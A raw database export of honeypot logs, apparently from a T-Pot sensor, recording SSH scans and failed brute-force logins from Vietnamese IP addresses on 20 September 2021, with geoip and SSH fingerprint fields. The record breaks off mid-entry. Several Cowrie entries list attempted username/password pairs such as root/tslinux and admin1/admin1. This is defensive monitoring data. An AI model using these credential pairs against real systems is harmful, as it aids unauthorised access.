23201	116.98.160.162	109.199.241.180	Suricata	2021-09-20 14:07:17.823637+03	2021-09-20 14:15:07.20147+03	{"_id": "BQbjAnwBvYTbRNuEhgmY", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"ssh": {"client": {"proto_version": "2.0", "software_version": "AsyncSSH_2.1.0"}, "server": {"proto_version": "2.0", "software_version": "OpenSSH_7.9p1"}}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "geoip": {"ip": "116.98.160.162", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0685, "location": {"lat": 16.0685, "lon": 108.2215}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Da Nang", "longitude": 108.2215, "region_code": "DN", "region_name": "Da Nang", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "proto": "TCP", "ip_rep": "known attacker", "src_ip": "116.98.160.162", "dest_ip": "192.168.20.116", "flow_id": 973245686026008, "@version": "1", "in_iface": "enp5s0", "metadata": {"flowbits": ["is_ssh_server_banner", "is_ssh_server_kex"]}, "src_port": 44632, "dest_port": 22, "timestamp": "2021-09-20T11:07:17.823637Z", "@timestamp": "2021-09-20T11:07:17.823Z", "event_type": "ssh", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	\N	ssh	known attacker	\N
23202	27.69.246.93	109.199.241.180	Suricata	2021-09-20 14:07:17.532127+03	2021-09-20 14:15:07.20247+03	{"_id": "AwbjAnwBvYTbRNuEhgmY", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"ssh": {"client": {"proto_version": "2.0", "software_version": "AsyncSSH_2.1.0"}, "server": {"proto_version": "2.0", "software_version": "OpenSSH_7.9p1"}}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "geoip": {"ip": "27.69.246.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 12.6667, "location": {"lat": 12.6667, "lon": 108.05}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Buon Ma Thuot", "longitude": 108.05, "region_code": "33", "region_name": "Đắk Lắk", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "proto": "TCP", "src_ip": "27.69.246.93", "dest_ip": "192.168.20.116", "flow_id": 1742016914709345, "@version": "1", "in_iface": "enp5s0", "metadata": {"flowbits": ["is_ssh_server_banner", "is_ssh_server_kex"]}, "src_port": 42170, "dest_port": 22, "timestamp": "2021-09-20T11:07:17.532127Z", "@timestamp": "2021-09-20T11:07:17.532Z", "event_type": "ssh", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	\N	ssh	\N	\N
23203	116.98.160.162	109.199.241.180	Cowrie	2021-09-20 14:07:15.714538+03	2021-09-20 14:15:07.20447+03	{"_id": "pQbjAnwBvYTbRNuEgAg1", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "116.98.160.162", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0685, "location": {"lat": 16.0685, "lon": 108.2215}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Da Nang", "longitude": 108.2215, "region_code": "DN", "region_name": "Da Nang", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "116.98.160.162", "eventid": "cowrie.login.failed", "message": "login attempt [wanda/wanda] failed", "session": "189334179ce1", "@version": "1", "password": "wanda", "username": "wanda", "timestamp": "2021-09-20T11:07:15.714538Z", "@timestamp": "2021-09-20T11:07:15.714Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.login.failed	\N	known attacker	\N
23204	192.168.20.116	109.199.241.180	Fatt	2021-09-20 14:07:15.829357+03	2021-09-20 14:15:07.20547+03	{"_id": "wQbjAnwBvYTbRNuEgAg2", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "tags": ["_geoip_lookup_failure"], "type": "Fatt", "geoip": {}, "src_ip": "192.168.20.116", "dest_ip": "27.69.246.93", "@version": "1", "fatt_ssh": {"skex": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1", "slcts": "[Empty]", "slstc": "[Empty]", "sshka": "ssh-rsa,ssh-dss", "scacts": "zlib@openssh.com,zlib,none", "scastc": "zlib@openssh.com,zlib,none", "seacts": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "seastc": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "server": "SSH-2.0-OpenSSH_7.9p1", "smacts": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "smastc": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "hasshServer": "a4820aa8e920a4c1b6ea9367bde49ef2", "hasshVersion": "1.0", "hasshServerAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc;hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5;zlib@openssh.com,zlib,none"}, "protocol": "ssh", "src_port": 22, "dest_port": 33464, "timestamp": "2021-09-20T11:07:15.829357", "@timestamp": "2021-09-20T11:07:15.829Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	\N	\N
23205	192.168.20.116	109.199.241.180	Fatt	2021-09-20 14:07:15.560873+03	2021-09-20 14:15:07.20747+03	{"_id": "sQbjAnwBvYTbRNuEgAg2", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "tags": ["_geoip_lookup_failure"], "type": "Fatt", "geoip": {}, "src_ip": "192.168.20.116", "dest_ip": "27.69.246.93", "@version": "1", "fatt_ssh": {"skex": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1", "slcts": "[Empty]", "slstc": "[Empty]", "sshka": "ssh-rsa,ssh-dss", "scacts": "zlib@openssh.com,zlib,none", "scastc": "zlib@openssh.com,zlib,none", "seacts": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "seastc": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "server": "SSH-2.0-OpenSSH_7.9p1", "smacts": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "smastc": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "hasshServer": "a4820aa8e920a4c1b6ea9367bde49ef2", "hasshVersion": "1.0", "hasshServerAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc;hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5;zlib@openssh.com,zlib,none"}, "protocol": "ssh", "src_port": 22, "dest_port": 40402, "timestamp": "2021-09-20T11:07:15.560873", "@timestamp": "2021-09-20T11:07:15.560Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	\N	\N
23206	116.98.160.162	109.199.241.180	Cowrie	2021-09-20 14:07:15.679872+03	2021-09-20 14:15:07.20847+03	{"_id": "wwbjAnwBvYTbRNuEgAg2", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "116.98.160.162", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0685, "location": {"lat": 16.0685, "lon": 108.2215}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Da Nang", "longitude": 108.2215, "region_code": "DN", "region_name": "Da Nang", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "116.98.160.162", "eventid": "cowrie.login.failed", "message": "login attempt [root/tslinux] failed", "session": "6f1c7e7ae25d", "@version": "1", "password": "tslinux", "username": "root", "timestamp": "2021-09-20T11:07:15.679872Z", "@timestamp": "2021-09-20T11:07:15.679Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.login.failed	\N	known attacker	\N
23209	116.105.211.46	109.199.241.180	Cowrie	2021-09-20 14:07:15.822638+03	2021-09-20 14:15:07.21147+03	{"_id": "tQbjAnwBvYTbRNuEgAg2", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "116.105.211.46", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0685, "location": {"lat": 16.0685, "lon": 108.2215}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Da Nang", "longitude": 108.2215, "region_code": "DN", "region_name": "Da Nang", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "sensor": "b63cdd9641b8", "src_ip": "116.105.211.46", "eventid": "cowrie.session.closed", "message": "Connection lost after 17 seconds", "session": "a81fee7a5d8a", "@version": "1", "duration": 17.276344776153564, "timestamp": "2021-09-20T11:07:15.822638Z", "@timestamp": "2021-09-20T11:07:15.822Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.session.closed	\N	\N	\N
23210	27.69.246.93	109.199.241.180	Cowrie	2021-09-20 14:07:15.836293+03	2021-09-20 14:15:07.213471+03	{"_id": "tgbjAnwBvYTbRNuEgAg2", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "encCS": ["chacha20-poly1305@openssh.com", "aes256-gcm@openssh.com", "aes128-gcm@openssh.com", "aes256-ctr", "aes192-ctr", "aes128-ctr", "aes256-cbc", "aes192-cbc", "aes128-cbc", "3des-cbc", "blowfish-cbc", "cast128-cbc", "arcfour256", "arcfour128", "arcfour"], "geoip": {"ip": "27.69.246.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 12.6667, "location": {"lat": 12.6667, "lon": 108.05}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Buon Ma Thuot", "longitude": 108.05, "region_code": "33", "region_name": "Đắk Lắk", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "hassh": "fda360b1b4f4d3455cb75c6e7edb1d11", "macCS": ["umac-64-etm@openssh.com", "umac-128-etm@openssh.com", "hmac-sha2-256-etm@openssh.com", "hmac-sha2-512-etm@openssh.com", "hmac-sha1-etm@openssh.com", "hmac-md5-etm@openssh.com", "hmac-sha2-256-96-etm@openssh.com", "hmac-sha2-512-96-etm@openssh.com", "hmac-sha1-96-etm@openssh.com", "hmac-md5-96-etm@openssh.com", "umac-64@openssh.com", "umac-128@openssh.com", "hmac-sha2-256", "hmac-sha2-512", "hmac-sha1", "hmac-md5", "hmac-sha2-256-96", "hmac-sha2-512-96", "hmac-sha1-96", "hmac-md5-96"], "compCS": ["zlib@openssh.com", "zlib", "none"], "langCS": [""], "sensor": "b63cdd9641b8", "src_ip": "27.69.246.93", "eventid": "cowrie.client.kex", "kexAlgs": ["curve25519-sha256", "curve25519-sha256@libssh.org", "curve448-sha512", "ecdh-sha2-nistp521", "ecdh-sha2-nistp384", "ecdh-sha2-nistp256", "ecdh-sha2-1.3.132.0.10", "diffie-hellman-group-exchange-sha256", "diffie-hellman-group-exchange-sha1", "diffie-hellman-group14-sha256", "diffie-hellman-group15-sha512", "diffie-hellman-group16-sha512", "diffie-hellman-group17-sha512", "diffie-hellman-group18-sha512", "diffie-hellman-group14-sha1", "diffie-hellman-group1-sha1", "rsa2048-sha256", "rsa1024-sha1", "ext-info-c"], "keyAlgs": ["ssh-ed25519-cert-v01@openssh.com", "ssh-ed448-cert-v01@openssh.com", "ecdsa-sha2-nistp521-cert-v01@openssh.com", "ecdsa-sha2-nistp384-cert-v01@openssh.com", "ecdsa-sha2-nistp256-cert-v01@openssh.com", "ecdsa-sha2-1.3.132.0.10-cert-v01@openssh.com", "ssh-rsa-cert-v01@openssh.com", "ssh-dss-cert-v01@openssh.com", "ssh-ed25519", "ssh-ed448", "ecdsa-sha2-nistp521", "ecdsa-sha2-nistp384", "ecdsa-sha2-nistp256", "ecdsa-sha2-1.3.132.0.10", "rsa-sha2-256", "rsa-sha2-512", "ssh-rsa", "ssh-dss"], "message": "SSH client hassh fingerprint: fda360b1b4f4d3455cb75c6e7edb1d11", "session": "53d318841bf2", "@version": "1", "timestamp": "2021-09-20T11:07:15.836293Z", "@timestamp": "2021-09-20T11:07:15.836Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "hasshAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,curve448-sha512,ecdh-sha2-nistp521,ecdh-sha2-nistp384,ecdh-sha2-nistp256,ecdh-sha2-1.3.132.0.10,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha256,diffie-hellman-group15-sha512,diffie-hellman-group16-sha512,diffie-hellman-group17-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,rsa2048-sha256,rsa1024-sha1,ext-info-c;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour;umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96;zlib@openssh.com,zlib,none"}}	1	\N	cowrie.client.kex	\N	\N	\N
23211	116.98.160.162	109.199.241.180	Cowrie	2021-09-20 14:07:15.967152+03	2021-09-20 14:15:07.21447+03	{"_id": "xwbjAnwBvYTbRNuEgAg2", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "116.98.160.162", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0685, "location": {"lat": 16.0685, "lon": 108.2215}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Da Nang", "longitude": 108.2215, "region_code": "DN", "region_name": "Da Nang", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "116.98.160.162", "eventid": "cowrie.session.closed", "message": "Connection lost after 3 seconds", "session": "55bf75b9d088", "@version": "1", "duration": 3.4423696994781494, "timestamp": "2021-09-20T11:07:15.967152Z", "@timestamp": "2021-09-20T11:07:15.967Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.session.closed	\N	known attacker	\N
23212	27.69.246.93	109.199.241.180	Cowrie	2021-09-20 14:07:16.040925+03	2021-09-20 14:15:07.21547+03	{"_id": "yAbjAnwBvYTbRNuEgAg2", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "27.69.246.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 12.6667, "location": {"lat": 12.6667, "lon": 108.05}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Buon Ma Thuot", "longitude": 108.05, "region_code": "33", "region_name": "Đắk Lắk", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "sensor": "b63cdd9641b8", "src_ip": "27.69.246.93", "eventid": "cowrie.client.version", "message": "Remote SSH version: b'SSH-2.0-AsyncSSH_2.1.0'", "session": "4f296091d354", "version": "b'SSH-2.0-AsyncSSH_2.1.0'", "@version": "1", "timestamp": "2021-09-20T11:07:16.040925Z", "@timestamp": "2021-09-20T11:07:16.040Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.client.version	\N	\N	\N
23213	27.69.246.93	109.199.241.180	Suricata	2021-09-20 14:07:16.313871+03	2021-09-20 14:15:07.21647+03	{"_id": "ywbjAnwBvYTbRNuEggiu", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"ssh": {"client": {"proto_version": "2.0", "software_version": "AsyncSSH_2.1.0"}, "server": {"proto_version": "2.0", "software_version": "OpenSSH_7.9p1"}}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "geoip": {"ip": "27.69.246.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 12.6667, "location": {"lat": 12.6667, "lon": 108.05}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Buon Ma Thuot", "longitude": 108.05, "region_code": "33", "region_name": "Đắk Lắk", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "proto": "TCP", "src_ip": "27.69.246.93", "dest_ip": "192.168.20.116", "flow_id": 1721931500065452, "@version": "1", "in_iface": "enp5s0", "metadata": {"flowbits": ["is_ssh_server_banner", "is_ssh_client_banner"]}, "src_port": 56818, "dest_port": 22, "timestamp": "2021-09-20T11:07:16.313871Z", "@timestamp": "2021-09-20T11:07:16.313Z", "event_type": "ssh", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	\N	ssh	\N	\N
23615	116.110.220.49	109.199.241.180	Cowrie	2021-09-20 14:07:38.562412+03	2021-09-20 14:15:07.734506+03	{"_id": "qQbjAnwBvYTbRNuE2g07", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "116.110.220.49", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0, "location": {"lat": 16.0, "lon": 106.0}, "timezone": "Asia/Ho_Chi_Minh", "longitude": 106.0, "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "sensor": "b63cdd9641b8", "src_ip": "116.110.220.49", "eventid": "cowrie.session.closed", "message": "Connection lost after 3 seconds", "session": "9641221de2c8", "@version": "1", "duration": 3.7849767208099365, "timestamp": "2021-09-20T11:07:38.562412Z", "@timestamp": "2021-09-20T11:07:38.562Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.session.closed	\N	\N	\N
23214	116.98.160.162	109.199.241.180	Suricata	2021-09-20 14:07:15.997234+03	2021-09-20 14:15:07.21747+03	{"_id": "zAbjAnwBvYTbRNuEggiv", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"ssh": {"client": {"proto_version": "2.0", "software_version": "AsyncSSH_2.1.0"}, "server": {"proto_version": "2.0", "software_version": "OpenSSH_7.9p1"}}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "geoip": {"ip": "116.98.160.162", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0685, "location": {"lat": 16.0685, "lon": 108.2215}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Da Nang", "longitude": 108.2215, "region_code": "DN", "region_name": "Da Nang", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "proto": "TCP", "ip_rep": "known attacker", "src_ip": "116.98.160.162", "dest_ip": "192.168.20.116", "flow_id": 1457243403044149, "@version": "1", "in_iface": "enp5s0", "metadata": {"flowbits": ["is_ssh_server_banner", "is_ssh_client_banner"]}, "src_port": 52126, "dest_port": 22, "timestamp": "2021-09-20T11:07:15.997234Z", "@timestamp": "2021-09-20T11:07:15.997Z", "event_type": "ssh", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	\N	ssh	known attacker	\N
23215	27.69.246.93	109.199.241.180	Suricata	2021-09-20 14:07:16.765908+03	2021-09-20 14:15:07.21947+03	{"_id": "zQbjAnwBvYTbRNuEggiv", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"ssh": {"client": {"proto_version": "2.0", "software_version": "AsyncSSH_2.1.0"}, "server": {"proto_version": "2.0", "software_version": "OpenSSH_7.9p1"}}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "geoip": {"ip": "27.69.246.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 12.6667, "location": {"lat": 12.6667, "lon": 108.05}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Buon Ma Thuot", "longitude": 108.05, "region_code": "33", "region_name": "Đắk Lắk", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "proto": "TCP", "src_ip": "27.69.246.93", "dest_ip": "192.168.20.116", "flow_id": 2031087541038130, "@version": "1", "in_iface": "enp5s0", "metadata": {"flowbits": ["is_ssh_server_banner", "is_ssh_server_kex"]}, "src_port": 51874, "dest_port": 22, "timestamp": "2021-09-20T11:07:16.765908Z", "@timestamp": "2021-09-20T11:07:16.765Z", "event_type": "ssh", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	\N	ssh	\N	\N
23216	27.69.246.93	109.199.241.180	Suricata	2021-09-20 14:07:16.842125+03	2021-09-20 14:15:07.221472+03	{"_id": "zgbjAnwBvYTbRNuEggiv", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"ssh": {"client": {"proto_version": "2.0", "software_version": "AsyncSSH_2.1.0"}, "server": {"proto_version": "2.0", "software_version": "OpenSSH_7.9p1"}}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "geoip": {"ip": "27.69.246.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 12.6667, "location": {"lat": 12.6667, "lon": 108.05}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Buon Ma Thuot", "longitude": 108.05, "region_code": "33", "region_name": "Đắk Lắk", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "proto": "TCP", "src_ip": "27.69.246.93", "dest_ip": "192.168.20.116", "flow_id": 1449894713915870, "@version": "1", "in_iface": "enp5s0", "metadata": {"flowbits": ["is_ssh_server_banner", "is_ssh_client_banner"]}, "src_port": 33854, "dest_port": 22, "timestamp": "2021-09-20T11:07:16.842125Z", "@timestamp": "2021-09-20T11:07:16.842Z", "event_type": "ssh", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	\N	ssh	\N	\N
23217	116.110.220.49	109.199.241.180	Suricata	2021-09-20 14:07:16.45849+03	2021-09-20 14:15:07.222472+03	{"_id": "zwbjAnwBvYTbRNuEggix", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"ssh": {"client": {"proto_version": "2.0", "software_version": "AsyncSSH_2.1.0"}, "server": {"proto_version": "2.0", "software_version": "OpenSSH_7.9p1"}}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "geoip": {"ip": "116.110.220.49", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0, "location": {"lat": 16.0, "lon": 106.0}, "timezone": "Asia/Ho_Chi_Minh", "longitude": 106.0, "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "proto": "TCP", "src_ip": "116.110.220.49", "dest_ip": "192.168.20.116", "flow_id": 588431648606708, "@version": "1", "in_iface": "enp5s0", "metadata": {"flowbits": ["is_ssh_server_banner", "is_ssh_client_banner"]}, "src_port": 42036, "dest_port": 22, "timestamp": "2021-09-20T11:07:16.458490Z", "@timestamp": "2021-09-20T11:07:16.458Z", "event_type": "ssh", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	\N	ssh	\N	\N
23218	115.72.130.93	109.199.241.180	Cowrie	2021-09-20 14:07:17.070064+03	2021-09-20 14:15:07.223471+03	{"_id": "3gbjAnwBvYTbRNuEhAgc", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "115.72.130.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 16.0, "location": {"lat": 16.0, "lon": 106.0}, "timezone": "Asia/Ho_Chi_Minh", "longitude": 106.0, "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "sensor": "b63cdd9641b8", "src_ip": "115.72.130.93", "dest_ip": "192.168.176.2", "eventid": "cowrie.session.connect", "message": "New connection: 115.72.130.93:47608 (192.168.176.2:22) [session: a84799560cf6]", "session": "a84799560cf6", "@version": "1", "protocol": "ssh", "src_port": 47608, "dest_port": 22, "timestamp": "2021-09-20T11:07:17.070064Z", "@timestamp": "2021-09-20T11:07:17.070Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	cowrie.session.connect	\N	\N	\N
23219	116.98.160.162	109.199.241.180	Cowrie	2021-09-20 14:07:16.28669+03	2021-09-20 14:15:07.22547+03	{"_id": "1QbjAnwBvYTbRNuEhAgb", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "116.98.160.162", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0685, "location": {"lat": 16.0685, "lon": 108.2215}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Da Nang", "longitude": 108.2215, "region_code": "DN", "region_name": "Da Nang", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "116.98.160.162", "eventid": "cowrie.login.failed", "message": "login attempt [uucp/root] failed", "session": "579c1b78a46e", "@version": "1", "password": "root", "username": "uucp", "timestamp": "2021-09-20T11:07:16.286690Z", "@timestamp": "2021-09-20T11:07:16.286Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.login.failed	\N	known attacker	\N
23220	27.69.246.93	109.199.241.180	Cowrie	2021-09-20 14:07:16.984885+03	2021-09-20 14:15:07.226472+03	{"_id": "1gbjAnwBvYTbRNuEhAgb", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "27.69.246.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 12.6667, "location": {"lat": 12.6667, "lon": 108.05}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Buon Ma Thuot", "longitude": 108.05, "region_code": "33", "region_name": "Đắk Lắk", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "sensor": "b63cdd9641b8", "src_ip": "27.69.246.93", "eventid": "cowrie.login.failed", "message": "login attempt [admin1/admin1] failed", "session": "8d4910fd90f3", "@version": "1", "password": "admin1", "username": "admin1", "timestamp": "2021-09-20T11:07:16.984885Z", 